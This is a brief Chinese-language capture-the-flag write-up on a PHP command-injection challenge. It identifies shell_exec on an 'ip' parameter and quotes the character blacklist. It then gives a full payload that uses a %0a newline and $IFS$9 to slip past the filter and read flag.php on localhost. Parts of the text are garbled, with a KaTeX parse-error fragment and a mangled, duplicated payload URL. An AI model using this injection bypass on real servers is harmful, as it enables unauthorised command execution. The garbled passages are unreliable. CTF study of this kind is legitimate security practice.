docker 拉取不了 给了源文件 开始代码审计
这个题 有全局变量 ip
shell_exec 函数 稳稳的RCE了
KaTeX parse error: Expected 'EOF', got '&' at position 30: …= array(<br />'&̲' => '',<br />…’ => ‘’,
‘(’ => ‘’,
‘)’ => ‘’,
‘`’ => ‘’,
‘||’ => ‘’,
);
存在过滤
尝试输入一个ip地址
是可以执行命令的 ,但是由于我这里是window系统 看看能不能存在 windows的过滤方法
找了半天没有存在的绕过windows的方法 ,这里由于是windows搭建的 参加的方法被过滤掉了
linux可以使用 %0a 去进行 绕过
完整payload
[http://localhost:3000/challenge9.php?ip=127.0.0.1%0acat$IFS 9 f l a g . p h p ] ( h t t p : / / l o c a l h o s t : 3000 / c h a l l e n g e 9. p h p ? i p = 127.0.0.1 9flag.php](http://localhost:3000/challenge9.php?ip=127.0.0.1%0acat 9flag.php](http://localhost:3000/challenge9.php?ip=127.0.0.1IFS 9 f l a g . p h p ) 这里 9flag.php) 这里 9flag.php)这里IFS$9是绕过空格